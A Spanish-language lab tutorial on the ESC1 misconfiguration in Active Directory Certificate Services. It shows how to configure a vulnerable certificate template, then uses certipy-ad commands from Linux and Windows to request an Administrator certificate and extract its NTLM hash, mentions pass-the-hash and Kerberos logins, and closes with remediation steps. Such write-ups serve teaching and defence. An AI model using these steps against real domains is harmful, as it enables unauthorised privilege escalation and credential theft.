# ESC1 Vulnerability - AD CS

<div data-node-type="callout">
<div data-node-type="callout-emoji">ℹ</div>
<div data-node-type="callout-text">En este artículo hablaremos un poco sobre qué son los Servicios de Certificado de Windows y como configurar y explotar la vulnerabilidad ESC1 en las plantillas de certificados.</div>
</div>

# ¿Qué son los Servicios de Certificados de AD?

> Los servicios de certificados de Active Directory (AD CS) es un rol de Windows Server para emitir y administrar certificados de infraestructura de clave pública (PKI) que se usan en protocolos de autenticación y comunicación seguros.

> Los certificados digitales se pueden usar para cifrar y firmar digitalmente documentos electrónicos y mensajes, así como para la autenticación de cuentas de equipo, usuario o dispositivo en una red.

Dentro de estos Servicios de Certificados entran en juego las plantillas de certificados. Hay una serie de términos que debemos conocer para entender mejor los certificados.

*   **AD CS (Active Directory Certificate Services)** : es la infraestructura PKI creada por Microsoft.
    
*   **PKI (Public Key Infraestructure)**: se encarga de manejar los certificados y la encriptación.
    
*   **CSR (Certificate Signing Request)** : básicamente es un mensaje que se envía a la CA para solicitar un certificado firmado.
    
*   **CA (Certificate Authority)** : entidad de certificación que se encarga de avalar la identidad de usuarios, equipos y organizaciones.
    
*   **Certificate Template** : plantillas con configuraciones predefinidas en ADCS que determinan cómo se emiten y gestionan los certificados digitales.
    

## ¿Qué son las Plantillas de Certificados?

> Las plantillas de certificados son configuraciones predefinidas en AD CS que determinan cómo se emiten y gestionan los certificados digitales.

En pocas palabras, se podría decir que son una forma de estandarizar y simplificar la creación de certificados, asegurando que cumplen con los requisitos de seguridad.

Algunos tipos de Plantillas de Certificados:

*   **Usuario** : Certificados que se utilizan para autenticación de usuarios en entornos Windows.
    
*   **Equipo** : Certificados para la autenticación de máquinas.
    
*   **Web Server** : Certificados utilizados para habilitar SSL/TLS en servidores web.
    
*   **Cifrado de Correo** : Certificados utilizados para cifrar correos electrónicos y asegurar comunicaciones.
    

<div data-node-type="callout">
<div data-node-type="callout-emoji">🐵</div>
<div data-node-type="callout-text">Estas plantillas pueden ser vulnerables a diferentes ataques si no se configuran correctamente.</div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">🙉</div>
<div data-node-type="callout-text">A continuación, configuraremos una plantilla vulnerable.</div>
</div>

* * *

# Vulnerabilidad ESC1

## Requerimientos

*   **Windows Server 2019** con **Active Directory** instalado y configurado.
    
*   **Rol de Servicios de Certificados de Active Directory**.
    
*   **Credenciales** de un **usuario del dominio**.
    
*   Herramienta **Certipy y Suite Impacket** para la realización de los ataques.
    

## Configuración Vulnerabilidad ESC1

En primer lugar vamos a configurar la plantilla para que sea vulnerable a **ESC1**.

Nos dirigimos al panel de **Administración del Servidor** > **Herramientas** &gt; **Entidad de Certificación.**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201038237/9d6be77b-4455-4ac6-955d-0d7596145a4f.webp align="center")

A continuación debemos dirigirnos a **Plantillas de Certificado**, click derecho y **Administrar**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201062557/1e6f61d2-00c9-4bd4-abda-a8528fa7d9c5.webp align="center")

Buscamos la plantilla de usuario, click derecho y **duplicar**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201276878/de4e5566-9b94-4b55-a926-5f48f8b84fe5.png align="center")

Y por último en el apartado seguridad vamos a dar permisos **Inscribirse** al grupo **Usuarios del dominio**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201294897/99d92699-5da9-4254-ad80-92890e0a20b9.webp align="center")

Una vez aplicados los cambios, ya podemos proceder.

* * *

## Identificando ESC1 con BloodHound

Anteriormente hemos podido identificar la plantilla vulnerable a través de la herramienta certipy, pero también podemos detectarlo a través de Bloodhound.

Para ello de nuevo utilizaremos certipy para que nos genere toda la información en un archivo .zip que posteriormente importaremos en bloodhound.

```bash
certipy-ad find -vulnerable -u bart@hommer.local -p P@ssword1234 -old-bloodhound -enabled
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201388034/91a8678d-9efe-405b-a671-fe591399ff28.webp align="center")

Como podemos ver en la imagen, el **usuario bart** (del que disponemos credenciales) forma parte del grupo ***UsuariosDelDominio*** y este grupo posee los permisos **Enroll** (o Inscribirse) sobre la **plantilla ESC1**.

Por lo que utilizando las credenciales del usuario **bart** podremos obtener el **hash NTLM** del usuario **Administrador** y ganar acceso bajo un usuario con privilegios máximos.

* * *

# Explotación Vulnerabilidad ESC1 en Linux

Para la explotación de esta vulnerabilidad partimos del siguiente escenario:

*   Dispongo de credenciales de un usuario del dominio, **Bart:P@ssword1234**
    

Para enumerar y abusar de certificados podemos hacer uso de la herramienta **certipy-ad** que puede instalarse fácilmente desde la terminal de kali con el comando `sudo apt install certipy-ad`.

En primer lugar debemos enumerar en busca de posibles certificados vulnerables, y para ello utilizaremos el siguiente comando.

```bash
certipy-ad find -vulnerable -u bart@hommer.local -p P@ssword1234
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201494580/3fc704ee-f07e-41df-94f7-3bdc6c94b7a4.webp align="center")

Como podemos ver nos genera varios archivos, entre ellos uno de texto...

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201546283/fa7bf4d5-0c53-435b-addf-23dbff895f8f.webp align="center")

```bash
[!] Vulnerabilities
      ESC1 : 'HOMMER.LOCAL\\Usuarios del dominio' and 'HOMMER.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
```

En este archivo tras filtrar con grep podemos ver que es **vulnerable a ESC1**, por lo que debemos anotar una serie de datos que encontraremos en el archivo de texto para el siguiente paso.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201573773/7409d6b5-4893-46b3-bc70-b1009fed07e6.webp align="center")

El siguiente paso será obtener el **certificado .pfx** del usuario al cual queremos escalar, en mi caso el usuario **Administrador**, para posteriormente ***autenticarnos con su certificado y obtener su hash NTLM***.

```bash
certipy-ad req -u <usuario@dominio> -p <contraseña> -ca <CertificateAuthority> -target <CAHostname> -template <vulnTemplate> -up <targetUsername>
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201611246/b3fc1fd5-6fab-4190-8d8e-f4107a7b79ae.webp align="center")

Ahora que ya tenemos el **certificado .pfx** y la **clave privada** podemos utilizarlo para autenticarnos y obtener el **hash NTLM** del usuario.

```bash
certipy-ad auth -pfx <certificado.pfx> -dc-ip <ip>
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201647460/36865381-1b1f-4a62-8a7a-496402231c6e.webp align="center")

* * *

## Conexión vía Evil-WinRM

Tras obtener el hash podríamos intentar conectarnos a la máquina a través de WinRM si está activado en la máquina víctima.

En caso de estarlo simplemente nos conectaríamos realizando **PassTheHash**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741201711351/c3c74e0f-57e6-47c2-991d-a7538200f132.webp align="center")

* * *

## Conexión vía Impacket-Smbexec

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741203811420/1e9c7435-dd95-480c-860d-cc4cb40b7319.webp align="center")

* * *

## Conexión vía psexec a través del TGT

Con certipy-ad y haciendo uso del certificado .pfx podemos obtener el **TGT** del usuario Administrador para posteriormente autenticarnos y ganar acceso al DC.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741203855018/be3087d4-0e30-4e64-aef2-0191ebf0ea9a.webp align="center")

Una vez hemos obtenido el TGT simplemente lo exportamos a **KRB5CCNAME** y ejecutamos el siguiente comando.

Con el parámetro **\-k** habilitamos la autenticación vía kerberos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741203868946/edd6f9c9-cd06-4f4c-8cc7-3c473a5f43e2.webp align="center")

* * *

# Explotación Vulnerabilidad ESC1 en Windows

Para poder realizar este ataque en Windows necesitaremos tener instalado **python3 y certipy-ad**.

Instalar python3 es tan sencillo como dirigirnos a la tienda de microsoft, buscarlo e instalar.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741203918771/5dabb0c4-c9db-4e23-acf3-ccf1296788ad.webp align="center")

Y posteriormente desde la terminal o cmd ejecutamos el comando `pip3 install certipy-ad`

> Recomiendo añadir al path la ruta donde se almacenan los scripts de python3 para no tener que poner toda la ruta completa.

Ahora que ya tenemos todo instalado procedemos a identificar la vulnerabilidad ESC1 como hicimos anteriormente desde Linux.

Es prácticamente igual el comando para detectarlo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741203953245/02d09505-ad21-4fd8-8b83-235334a36b3e.webp align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741203957684/52d1a207-8114-46de-8c14-6c8c61a9bae4.webp align="center")

Tras detectar la vulnerabilidad procedemos a obtener el certificado del usuario administrador.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741203977495/d56722ad-3a59-4135-a979-0bb5765b2d09.webp align="center")

Tras obtenerlo nos autenticamos con el certificado, igual que hicimos anteriormente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741203998518/37b2fd6b-5a70-43a2-a070-7166bdc49a27.webp align="center")

* * *

## Conexión vía psexec a través del TGT

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741204117751/0122fede-b868-40ea-a781-00bf2907a673.webp align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741204129915/127f475d-3375-4dd6-b2d9-3d1f384f0f32.webp align="center")

* * *

# Remediación Vulnerabilidad ESC1

Para remediar esta vulnerabilidad debemos seguir estos pasos:

1.  Deshabilitar "**Enrollee Supplies Subject**" de la plantilla vulnerable.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741204171009/14e27b8b-b833-4cb4-a0fa-e44d2e21ed70.webp align="center")

2.  **Requerir Aprobación del Administrador**.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741204186815/f8a3dffe-5578-4f13-9ef2-693a549c7f24.webp align="center")

3.  Por último debemos asignar correctamente los permisos a cada usuario.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741204203575/f01dc5ae-2810-4979-bc5e-7b837acc2d57.webp align="center")
